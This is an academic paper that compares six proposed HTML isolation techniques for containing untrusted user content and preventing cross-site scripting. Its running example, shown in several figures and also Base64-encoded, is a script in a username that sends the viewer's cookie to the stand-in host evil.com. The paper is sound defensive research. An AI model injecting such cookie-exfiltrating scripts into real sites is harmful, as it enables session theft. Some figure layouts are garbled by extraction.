Analysis of Hypertext Markup Isolation Techniques for XSS Prevention

Mike Ter Louw

Prithvi Bisht

Bisht V.N. Venkatakrishnan

Dept. of Computer Science University of Illinois at Chicago

Abstract

Modern websites and web applications commonly integrate third-party and user-generated content to enrich their users' experience. Developers of these applications are in need of a simple way to limit the capabilities of this less trusted, outsourced content and thereby protect their users from cross-site scripting attacks. We summarize several recent proposals that enable developers to isolate untrusted markup, and could be used to define constraint environments that are enforceable by web browsers. We conduct a comparative analysis of these proposals highlighting security, legacy browser compatibility and several other important qualities.

1 Introduction

One hallmark of the Web 2.0 phenomenon is the rapid increase in user-created content for web applications. A vexing problem for these web applications is determining if user-supplied HTML code contains executable script statements. *Cross-site scripting* (XSS) attacks can exploit this weakness to breach security in several ways: loss of user data confidentiality, affecting the integrity of the web document and availability of browser resources.

The suggested defense against XSS attacks is input filtering. While it is an effective first level of defense, input filtering is often difficult to get right in complex scenarios [4]. This is mostly due to the diversity of popular web browsers, as each contain subtle parsing quirks that enable scripts to evade detection [4, 7]. When user input is allowed to contain any valid HTML character it can be especially difficult to filter effectively. The programmer must primarily ensure that scripting commands cannot be injected into the document while also permitting the user to input rich content.

The challenges involved in input filtering burden developers with what we term the *Hypertext Markup Isolation* problem. Namely, programmers are in dire need of a *simple* facility that instructs a browser to mark certain, isolated portions of a HTML document as untrusted. If robust isolation facilities were supported by web browsers, untrusted content could be constrained to effectively prevent script injection attacks.

The draft version of HTML 5 [18] does not propose any markup isolation facility, even though XSS is a long recognized threat and several informal solutions have recently been suggested by concerned members of the web development community. The main objective of this paper is to categorize these proposals, analyze them further and initiate a discussion on this important problem during the workshop.

2 Background

Today's browsers implement a *default-allow* policy for JavaScript in the sense that they allow execution of any script code present in a document. These scripts are granted privileges to read or modify all other content within the document by default. Note that a browser can be switched to a *default-deny* mode by turning off Java-Script. However, this mode will prohibit popular websites such as Gmail and eBay from being rendered correctly.

In order for these web applications to function normally and also protect the user against malicious scripts, the applications must be able to instruct the browser to impose constraints on specific regions within a document [13]. A simple example of such a constraint is disabling script execution within the region.

A basic way of sectioning off a constraint region is to enclose it in a < div> element. If the programmer wants to disable scripting in this part of the document he can attach constraints as policy attributes:¹

<div policy="scripting:deny;">...</div>

The browser can apply this constraint to the region defined by the <div> element to prevent execution of any injected scripts.

However, this naive approach can be easily circumvented: untrusted content may attempt to trick the brow-

¹The policy syntax suggested is merely an illustration. We do not discuss policy specifications in this paper.

Bob's maliciously crafted username:	<pre>Bob<script type="text/javascript"> window.location="http://evil.com?"+document.cookie(); </script></pre>
Persistent XSS attack example:	<pre><html><head></head><body> Users who are currently logged in: Alice, Bob<script type="text/javascript"> window.location="http://evil.com?"+document.cookie(); </script>, Charlie </body></html></pre>

Figure 1: Example of a persistent XSS attack. A web application authenticates users by creating a session cookie in their browser that accompanies each request for a page (not depicted). The application also displays a list of logged in users on every page it generates. Bob crafts a malicious username that forwards a user's session cookie to evil.com when they view any page generated by the application.

ser into removing restrictions by indicating that the constrained region has ended. For instance, it may contain spurious HTML element *close tags* (e.g., </div>) or may fool the user agent into believing the close tag was accidentally omitted by the author. Once the untrusted text is beyond the limit of the constraint environment, a malicious script can be injected for a successful attack. This class of attack is a primary threat to any language feature proposing to facilitate temporary capability restrictions.

To solve this problem, the web browser must *isolate* a particular segment of the hypertext. This requires a robust facility to identify the precise extent of any untrusted segment to be restricted. In this paper, we explore proposed additions to the HTML document standard that address this need.

Once a secure system is in place for isolating markup, policies that confine the privileges of scripts will need to be applied to constraint regions. We do not discuss the specification and enforcement of policy constraints in this paper. However, we do note the matter of content isolation needs to be fully addressed before policy constraints can be effectively enforced over untrusted markup text.

Approach and methodology While working on a related problem, we felt the need for an isolation facility that would work on all web browsers. Reviewing the outstanding literature revealed a real need for markup isolation but no considerable work done on comparing the various proposals to explore the best approach.

We looked through working drafts of the *World Wide Web Consortium's* (W3C) upcoming web technology specifications [17, 18, 19] and were not able to find a proposed solution. There were several online discussions of the *Web Hypertext Application Technology Working Group* (WHATWG), which were very helpful in highlighting draft solutions (particularly [5]). We also consulted some polished proposals on the web [1, 13] that suggest the use of isolation techniques. We note that markup isolation is fundamental to the secure evolution of the interactive web. It is also a prerequisite to any voluntary constraint system proposal. Hence, there is a dire need for a systematic description and analysis of the problem. In this spirit, we organize the best proposals to date into six categories while integrating some of our own ideas. We explore the merits of these techniques in the hope of finding an acceptable solution to the hypertext markup isolation problem.

The rest of the paper is organized as follows: In Section 3 we present and analyze six fundamental techniques for isolating untrusted markup. Due to space limitations, our analysis is presented in conjunction with the main idea behind each proposal. We then present a summary of our analysis in Section 4 and discuss a few open issues.

3 Isolation techniques

This section is an exploration of six distinct proposals for isolating untrusted hypertext markup within a web page. Each of these techniques is designed to provide a containment primitive that can ultimately serve as a foundation for restricted capability regions within an HTML document.

A persistent XSS attack is shown in Figure 1 and will be cited as a running example. The attack code is integrated into the illustration of each proposed technique to demonstrate how untrusted content can be contained.

3.1 Document separation technique

The first four methods we present for isolating content all make use of the HTML src attribute to separate untrusted from trusted markup text. Likely the best known of these is the *document separation* technique, as it uses an existing feature of standard HTML, the <iframe>.

Embedded document isolation When a web page designer wants to embed a document she uses an <iframe>

Embedding document:	<pre> Users who are currently logged in: <iframe javascript"="" src="https://untrusted.example.com/getContent?001> </iframe></pre></th></tr><tr><td>Embedded
document:</td><td><pre><html><head></head><body> Alice, Bob<script type=" style="display:inline;" text=""> window.location="http://evil.com?"+document.cookie(); , Charlie </iframe></pre>
------------------------	---

Figure 2: A malicious user name is isolated using the *document separation* technique.

element. This element's src attribute tells the browser how to locate and retrieve a web page that will be contained within the outer document. Referring to the contents of the iframe in this way helps the browser preserve the outer document's structural integrity: it is not possible for the embedded content to issue an </iframe> close tag and escape its constraint environment.

Restricting untrusted content so that it may not access sensitive data from the trusted region is only possible if the src attribute refers to a document of a different origin. This is because of the *same-origin policy* (SOP), which disallows data flow between documents of different origins [21]. Achieving the level of isolation provided by the SOP for untrusted content allows it to be embedded without risk of XSS attacks. In Figure 2, the embedded content does not have access to any of the embedding document's properties due to document isolation.

Problems with document separation There are many disadvantages of the iframe isolation technique that make it inadequate for isolating content. The problems unique to using iframe elements for containment are:

- 1. Layout information does not *flow out* of the iframe.
- 2. Style information does not flow into the iframe.
- 3. Providing separate origins for hosting untrusted content is *burdensome*.

For embedded content to flow seamlessly into the layout of the surrounding document, the size of an iframe needs to dynamically adjust according to the space requirements of its contents. The HTML standard [16] does not allow a document within an iframe to do this. The typical way to get around this restriction is to use Java-Script in the embedding page and dynamically adjust the layout as needed. However, this can be done only when the same-origin policy is not in effect. (This information is guarded by the SOP because reading the inner document's properties such as size can result in leakage of private data about its contents.)

Effectively, an isolated iframe is a rigid structure that is either too large or too small for the document it contains. If undersized, it must resort to presenting a scrollable interface so the user may view its entire contents. For many intended uses of user-generated content, this does not provide a good end-user experience.

Just as an iframe does not let information out, useful information is also not permitted to flow in. Many web sites employ *cascading style sheet* (CSS) rules to specify a uniform appearance to elements on a page. The CSS system causes elements to inherit a default look from their ancestors in the document hierarchy and enables them to subscribe to a style using CSS class identifiers. For instance, a blog application may declare that all userprovided comments be displayed using the Helvetica font. If these comments are isolated in iframe elements to thwart XSS attacks, the rule specifying their default font will not be applied. This breaks up the uniform appearance the designer wanted to create.

Workarounds to these data flow restrictions currently exist in other proposals. The SMash project [2] establishes a data exchange protocol using the *iframe* URL fragment identifier as a medium. The HTML 5 proposal [18] presents another mechanism that uses *document object model* (DOM) events for message passing.

A third difficulty in using iframes for isolation is that it requires the content to be hosted at a different origin from the embedding document. One way a web application might implement this is to create a subdomain for serving the untrusted files. Though this is a workable solution for simple scenarios where user-generated content is not intended to host private information, in other cases it can be inadequate. To achieve full isolation of embedded content, each iframe created for this purpose would need a unique origin. This places a heavy burden on the server hosting the web application.

In addition to the above problems, the document isolation technique requires untrusted content to be split out into a separate file. This introduces an entire range of additional problems that are further explored in the following section.

Embedding document:	<pre> Users who are currently logged in: <div src="https://untrusted.example.com/getContent?001" style="display:inline;"> This content can not be safely displayed. </div></pre>
The contents of the linked external file:	<pre>Alice, Bob<script type="text/javascript"> window.location="http://evil.com?"+document.cookie(); </script>, Charlie</pre>

Figure 3: A malicious user name is isolated using the *request separation* technique.

3.2 Request separation technique

Much of the inconvenience of working with *iframes* can be avoided if we could take from the document separation technique only the markup isolation benefit and can do without the data flow restrictions. This is the aim of the *request separation* technique, which would require changes to the HTML specification to achieve.

Isolated files In this scheme untrusted content is expelled to a separate file just like the document separation technique. However, a div element is used instead of the iframe as depicted in Figure 3. The intent is that the browser renders the embedded content as if it had appeared inside the div element.

Embedded content is read from the file pointed to by the src attribute. A compatible web browser provides markup isolation by ensuring the contents of the file are not allowed to close the div element. Existing browsers that do not support the proposed src attribute feature ignore the referenced file, preventing the untrusted content from being included. Thus XSS attack code in the usergenerated region is suppressed in browsers that don't support the feature.

Crockford's mashup security proposal [1] employs this use of the src attribute to isolate content in a new HTML <module> element. This technique has also been used recently in the MashupOS project [6, 20] to isolate untrusted markup in the proposed <friv> and <sandbox> elements.

Fallback mechanism It may be helpful to provide some default content for the div element should the src attribute not be supported for a particular browser or should the referenced URL fail to load. For this purpose we recommend that fallback HTML markup be written by the web application between the open and close div tags, as described in [9]. If any content is written in this region it should not contain untrusted markup lest the application be placed at risk. The fallback mechanism is demonstrated in our example figures using the text: This content can not be safely displayed.

Problems with separate external files There are two inconveniences with using request separation that also apply to document separation as described in Section 3.1:

- 1. Providing piecewise access to user-generated content requires additional state on the web server.
- 2. Retrieving user-generated content requires multiple CPU-intensive HTTP requests of the web server.

When a user agent requests an individual segment of untrusted markup, the web application needs to be capable of returning the isolated segment in the context appropriate for inclusion in the previously requested embedding page. Sometimes, this may be as simple as reading the contents of a file that was stored at or before the time the embedding page was requested. However, there are more complex scenarios. The request for untrusted content may need to be placed in context of a session (such as "requesting all comments for blog post number 50") or may require web applications to be modified to generate URLs that will possibly trigger database retrieval operations. These kinds of lookups rule out simple file retrievals for most scenarios. These web application changes are nontrivial and may require human intervention.

Also, additional requests mean additional resource usage such as CPU and network bandwidth on the back end. Even if these these constraints were trivial for the application back end to satisfy, the number of fetches adds unwanted network latency to the page rendering process.

3.3 Response partitioning technique

Continuing our attempt to alleviate the limitations on splitting user-generated content out of the page, we now explore the *response partitioning* technique. This mechanism produces a fully trusted base file similar to the one generated in Section 3.2, then appends the isolated, untrusted content *in-band* to the same HTTP response. Current web browsers do not support this mode of delivery.

Multipart content delivery Files generated by the web application in this scheme use the MIME Multipart/Related Content-Type [12] as shown in Figure 4.

Trusted root	Content-Type: multipart/related; boundary="becc503b-2fb4-4793-80ef-917b6efcd83f"; start=" <trusted@example.com>"; type="text/html"</trusted@example.com>
document.	becc503b-2fb4-4793-80ef-917b6efcd83f Content-ID: <trusted@example.com> Content-Type: text/html; charset="UTF-8"</trusted@example.com>
	<html><head></head><body></body></html>
	 Users who are currently logged in:
	<pre></pre>
Untrusted part:	becc503b-2fb4-4793-80ef-917b6efcd83f Content-ID: <untrusted001@example.com> Content-Type: text/html; charset="UTF-8"</untrusted001@example.com>
	<pre>Alice, Bob<script type="text/javascript"> window.location="http://evil.com?"+document.cookie(); </script>, Charlie</pre>
	becc503b-2fb4-4793-80ef-917b6efcd83f

Figure 4: A malicious user name is isolated using the response partitioning technique.

Though nearly identical in format to the MHTML document delivery technique [15] it does not require email headers for rendering in a mail user agent.

Untrusted markup segments appear as isolated parts of a MIME message and are referred to by the trusted "root" document using content identifiers [11], as shown in Figure 4. To eliminate the possibility of the inter-part boundary string occurring within the untrusted parts, the user markup may be Base64 [8] encoded. Universally unique identifiers (UUID) are used in the example figure, as they have a high probability of uniqueness by design [10].

Problems using Mulipart MIME Although the response partitioning solution does not require multiple expensive file retrieval operations of the web application server, two unfortunate characteristics contribute to it being a less than ideal mechanism for isolation:

- 1. MHTML-like documents are not rendered by current web browsers.
- 2. Rendering of untrusted content is delayed.

Ideally any proposal for isolating untrusted content will not prevent the trusted portion of a web page from rendering in browsers that do not support the isolation technique. Response partitioning does not have this quality, which means that the trusted part in Figure 4 will not be rendered in current browsers. If graceful degradation in incompatible browsers is a requirement, this technique will not be sufficient.

Furthermore, to create the Multipart/Related format requires fully buffering the untrusted components of a web application's output stream until the end of document generation, when they are ready to be transmitted. This can cause significant rendering delays of these untrusted document regions.

3.4 Element content encoding technique

By encoding user-generated content inline within the document the two major drawbacks of response partitioning can be alleviated. Although web browsers would have to add support for this *element content encoding* technique, user agents that do not support the feature would still be able to fully render the trusted regions of a document.

Encoding untrusted content This isolation method is closely related to the request separation technique. The difference is that instead of linking to user-generated content in a separate file, the content of an HTML element is Base64 encoded using the "data" URI scheme [14], as shown in Figure 5. The technique has previously appeared in a proposal by the WHATWG [5], and has been implemented for the MashupOS project [20].

Legacy web browsers do not expect the encoded markup so they will not decode and render potentially unsafe content. Fallback content could be allowed in the same way described in Section 3.2.

When implementing this technique it is important that the web application stream the encoded markup to the user agent instead of buffering the entire untrusted region and sending the encoded text as a single burst. Similarly, the browser should decode the stream as it is received. This cooperation helps to reduce rendering delays of isolated content.

Inline encoding:	Users who are currently logged in: <div <br="" style="display:inline;">src="data:text/html;charset=utf-8;base64, QWxpY2UsIEJvYjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij53aW5k b3cubG9jYXRpb249Imh0dHA6Ly91dmlsLmNvbT8iK2RvY3VtZW50LmNvb2tp ZSgpOzwvc2NyaXB0PiwgQ2hhcmxpZQ%3D%3D "> This content can not be safely displayed. </div>
Decoded markup:	<pre>Alice, Bob<script type="text/javascript"> window.location="http://evil.com?"+document.cookie(); </script>, Charlie</pre>

Figure 5: A malicious user name is isolated using the *element content encoding* technique.

```
...
.users who are currently logged in:
<div tag="75669ef7-fb01-41d6-a661-4a5018e951d9">
Alice, Bob<script type="text/javascript">
window.location="http://evil.com?"+document.cookie();
</script>, Charlie
</div tag="75669ef7-fb01-41d6-a661-4a5018e951d9">
...
```

Figure 6: A malicious user name is isolated using the tag matching technique.

Nested isolation It is also key that encoded elements be nestable. That is, the technique should be implemented in a way that allows isolated regions to contain inner regions that are also isolated. This feature can enable a constraint environment to further restrict its capabilities, perhaps when embedding content of its own.

Problems with element content encoding The limitations of this technique are:

- 1. The encoded markup text is not human readable and writable.
- 2. Encoding the markup text can inflate its size.

Viewing and editing the encoded markup is not easily performed by a human using basic text tools. This can add difficulty to the implementation and maintenance phases of web application development. It also reduces transparency for users because the "view source" operation in web browsers would not display the decoded untrusted content without special handling.

Another argument against Base64 encoding is that it inflates the size of the isolated content by about 40%. Nested isolation regions compound this penalty. Due to the larger size, a document containing significant amounts of untrusted content can incur delayed page load times. Web servers hosting such documents would have greater peak and total bandwidth requirements. We believe that this is an acceptable trade-off for the security benefits made possible by using it, and can be eased by using a more space-efficient encoding.

3.5 Tag matching technique

An altogether different technique for isolating markup is *tag matching*. This scheme, which requires modification of existing browsers to support, matches HTML open and close tags using an attribute present in each. It has previously been informally proposed as an isolation mechanism for a new HTML <jail> element [3].

Robust tag pairing Matching open with close tags isolates untrusted content by preventing it from providing its own close tag to prematurely terminate the constraint environment. If a browser detects the early closing of an element by finding a missing or incorrect match attribute in the close tag, it should disregard all subsequent extraneous markup until the matching close tag is detected. A user agent must never assume the matching close tag was omitted and automatically terminate the isolated region. In a script execution environment, the match attribute should not be readable via the DOM.

A basic implementation of the technique selects a match attribute string that is difficult for an attacker to guess. The example in Figure 6 uses an arbitrary UUID for this purpose. The match string must vary on every page request and for each tag using the feature. The security of this approach comes from an unguessable, unique matched tag for each request.

Tag matching has in common with the response partitioning technique the use of a unique string to delimit untrusted markup. A key difference is in the way they integrate the isolated regions: tag matching keeps them inline while response partitioning removes them from the

Users who are currently logged in:				
isolate src="data:text/html;charset=utf-8;base64,</td				
QWxpY2UsIEJvYjxzY3JpcHQqdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij53aW5k				
b3cubG9jYXRpb249Imh0dHA6Ly91dmlsLmNvbT8iK2RvY3VtZW50LmNvb2tp				
ZSqpOzwvc2NyaXB0PiwqQ2hhcmxpZQ%3D%3D">				
ignore characters="41"				
This content can not be safely displayed.				

Figure 7: A malicious user name is isolated using the *character range encoding* technique. The decoded markup is the same as shown in Figure 5.

trusted document entirely.

Problem with tag matching The main issue with using this technique is that it does not degrade safely in browsers that do not support it. Incompatible browsers will simply ignore the match attribute and render the untrusted content without any restrictions. This could lead to a successful XSS attack in browsers that don't support the feature.

3.6 Character range encoding technique

Another distinct option is to isolate user-generated markup on a per-character basis rather than the HTMLelement basis used by all the previously discussed approaches. This *character range encoding* technique can make it easier to impose constraints on an arbitrary section of markup.

Context-insensitive confinement It is not always a valid option to enclose untrusted content in an HTML element as done by the previous techniques. This is the case when the content to be isolated is the value of an element attribute. When using element-based isolation techniques, this limitation can be worked around using a script to pull isolated markup from the DOM and set the attribute's value to it [7]. Character range encoding does not require the use of scripting to achieve the same goal.

Hickson first proposed that browsers can be enhanced to support character range isolation by using an <?insert> HTML processing instruction [5]. We elaborate on his proposal by recommending two processing instructions: <?isolate> and <?ignore>. These are illustrated in Figure 7.

The <?isolate> processing instruction The purpose of the <?isolate> instruction is to instruct the browser that the character data in its src parameter is to be isolated. The characters are encoded to ensure that they do not prematurely terminate the containment. Although it's not human readable, this approach degrades securely in legacy browsers. Legacy browsers simply ignore the processing instruction and not display the encoded markup.

The <?ignore> processing instruction The purpose of the <?ignore> processing instruction is to instruct compatible browsers to disregard the next few characters. The

characters parameter specifies the number to ignore. This feature enables a web author to provide trusted fallback content so that the character range encoding mechanism can degrade both securely and gracefully. Legacy browsers disregard the instruction instead and render the subsequent characters.

A developer using <?ignore> must take care to ensure that character counts are calculated in a way consistent with the counting done by the user agent. The following items need to be considered:

- 1. Character encoding of the document
- 2. Uniform versus variable-length characters

Correlation to constraint regions Restricting the capabilities of specific DOM nodes, such as HTML elements and their attributes, has obvious semantic meaning and the enforcement mechanism is easy to envision. However, the merit of applying policies to arbitrary character ranges is not clear, making the technique seem ad hoc. For this reason we propose that character range encoding be employed to *guarantee* that a section of untrusted content is confined to a single DOM node rather than used *directly* as a constraint environment. Constraints can then be applied to the enclosing DOM node.

Script token isolation An interesting aspect of the character range encoding technique is that it also enables isolating individual substrings of a script. Web applications may want to embed user-provided data within a script and it would be helpful to constrain this data. For example, a user's first name should be confined to a single STRING token, his age should be restricted to a single INTEGER, and so on. This could be leveraged to implement constraint regions inside script content.

4 Discussion

Comparison of features Though there is no shortage of mechanisms to isolate untrusted HTML, each technique has clear capabilities and limitations. Due to space limitations, we just provide a summary and short discussion below. Table 1 contrasts isolation techniques by their support for a variety of attributes:

	Document	Request	Response	Element content	Tag	Character range
	separation	separation	partitioning	encoding	matching	encoding
Renders in legacy browsers	\checkmark	\checkmark		\checkmark	\checkmark	\checkmark
Degrades safely	\checkmark	\checkmark	\checkmark	\checkmark		\checkmark
Allows fallback content		\checkmark		\checkmark		\checkmark
Seamless layout and style		\checkmark	\checkmark	\checkmark	\checkmark	\checkmark
Human readable	\checkmark	\checkmark	\checkmark		\checkmark	
No extra rendering delay	\checkmark	\checkmark		\checkmark	\checkmark	\checkmark
No extra HTTP request			\checkmark	\checkmark	\checkmark	\checkmark
Context independent						\checkmark

Table 1: A comparison of potential isolation mechanisms

- *Renders in legacy browsers:* At <u>least</u> the trusted part of the document will render in a browser that does not support the isolation mechanism.
- *Degrades safely:* At <u>most</u> the trusted part of the document will render in a browser that does not support the isolation mechanism.
- Allows fallback content: Trusted content can be provided in case the mechanism is not supported or fails.
- Seamless layout and style: Layout information flows out and style information flows into a contained region.
- *Human readable:* The isolated markup text can be read by a human without the need to decode it first.
- No extra rendering delay: While rendering, a browser does not starve due to the web server buffering output.
- *No extra HTTP request:* Isolated regions do not require an extra page fetch operation.
- Context independent: Can be used in any HTML parsing context.

Final Analysis It is clear that there is not an ideal choice to recommend for standardization. This is due in part to the inherent conflict between desirable attributes. For instance, it is difficult to design an inline mechanism that is human readable and degrades safely in all web browsers. In spite of this dilemma, we identify two techniques that would greatly enhance a web designer's ability to secure her applications with minimal caveats.

Element content encoding has the two highly important qualities of legacy browser support and safe degrading. Although it imposes challenges with regard to readability we feel these can be met as tools evolve. For instance a web browser may enhance its "view source" feature with the ability to decode isolated markup. We contend that readability for security is an acceptable trade.

Although element content encoding is compelling, the flexibility of character range encoding is hard to ignore. It makes adding security to web applications an easier task as any structural node can be isolated. Also it provides an isolation pattern that can be applied to other grammars embedded in HTML such as CSS and JavaScript.

Open issues We now highlight two related issues that are not yet fully addressed and deserving of further study:

- Attribute value isolation There is a need for structural isolation techniques that can be applied to HTML elements' attribute values.
- *Capability policies* A policy mechanism that leverages robust isolation techniques is needed to limit the capabilities of untrusted content within a document.

Character range encoding can effectively isolate untrusted content in HTML elements' attribute values because it is context-insensitive. However, we have not described how the other techniques proposed in Section 3 would be applied for the isolation of untrusted markup that appears in attribute values (e.g., DOM event handlers). These other techniques could be adapted for this purpose though it is not clear that it can be done in a straightforward and syntactically clean way.

A desire to accept limited markup and simple, safe scripts from users is long felt by web application developers. Robust isolation mechanisms can facilitate finegrained capability policies over user-generated content that are set by the developer and enforced by the web browser. This ability to constrain untrusted content can provide the needed flexibility for desirable usage models to be implemented securely. Furthermore, they can encourage the developer community to embrace isolation mechanisms rather than shunning security in favor of functionality.

References

 Douglas Crockford. The (module) tag. http://www. json.org/module.html, October 2006.

- [2] Frederik De Keukelaere, Sumeer Bhola, Michael Steiner, Suresh Chari, and Sachiko Yoshihama. SMash: Secure cross-domain mashups on unmodified browsers, June 2007. Technical Report.
- [3] Brendan Eich. JavaScript: Mobility & ubiquity (two out of three ain't bad). In *Dagstuhl Seminar 07091 "Mobility, Ubiquity, and Security"*, Wadern, Saar., Germany, February 2007.
- [4] Robert Hansen. XSS cheat sheet. http://ha.ckers. org/xss.html. Retrieved on March 10, 2008.
- [5] Ian Hickson, Alexey Feldgendler, Gervase Markham, Michel Fortin, Jon Barnett, et al. Sandboxing ideas (WHATWG discussion). http://lists. whatwg.org/pipermail/whatwg-whatwg. org/2007-May/011198.html, May 2007.
- [6] Jon Howell, Collin Jackson, Helen J. Wang, and Xiaofeng Fan. MashupOS: Operating system abstractions for client mashups. In 11th Workshop on Hot Topics in Operating Systems (HotOS), San Diego, CA, USA, May 2007.
- [7] Trevor Jim, Nikhil Swamy, and Michael Hicks. Defeating script injection attacks with browser-enforced embedded policies. In *16th International World Wide Web Conference* (WWW), Banff, AB, Canada, May 2007.
- [8] S. Josefsson. The Base16, Base32, and Base64 data encodings. http://tools.ietf.org/html/rfc3548, July 2003. RFC 3548.
- [9] Jukka Korpela. Empty elements in SGML, HTML, XML, and XHTML. http://www.cs.tut.fi/ ~jkorpela/html/empty.html#incl, August 2000.
- [10] P. Leach, M. Mealling, and R. Salz. A universally unique identifier (UUID) URN namespace. http://tools. ietf.org/html/rfc4122, July 2005. RFC 4122.
- [11] E. Levinson. Content-ID and Message-ID uniform resource locators. http://tools.ietf.org/html/ rfc2392, August 1998. RFC 2392.
- [12] E. Levinson. The MIME Multipart/Related contenttype. http://tools.ietf.org/html/rfc2387, August 1998. RFC 2387.
- [13] Gervase Markham. Content restrictions. http://www.gerv.net/security/ content-restrictions/, March 2007.
- [14] L. Masinter. The "data" URL scheme. http://tools. ietf.org/html/rfc2397, August 1998. RFC 2397.
- [15] J. Palme, A. Hopmann, and N. Shelness. MIME encapsulation of aggregate documents, such as HTML (MHTML). http://tools.ietf.org/html/rfc2557, March 1999. RFC 2557.
- [16] World Wide Web Consortium (W3C). HTML 4.01 specification. http://www.w3.org/TR/html4/, December 1999.

- [17] World Wide Web Consortium (W3C). Access control for cross-site requests (working draft). http://www.w3.org/TR/2008/WD-access-control-20080214/, February 2008.
- [18] World Wide Web Consortium (W3C). HTML 5: A vocabulary and associated APIs for HTML and XHTML (working draft). http://www.w3.org/TR/2008/ WD-html5-20080122/, January 2008.
- [19] World Wide Web Consortium (W3C). XMLHttpRequest level 2 (working draft). http://www.w3.org/TR/ 2008/WD-XMLHttpRequest2-20080225/, February 2008.
- [20] Helen J. Wang, Xiaofeng Fan, Jon Howell, and Collin Jackson. Protection and communication abstractions for web browsers in MashupOS. In 21st ACM Symposium on Operating Systems Principles (SOSP), Stevenson, WA, USA, October 2007.
- [21] Wikipedia contributors. Same origin policy. http: //en.wikipedia.org/w/index.php?title= Same_origin_policy&oldid=190222964, February 2008.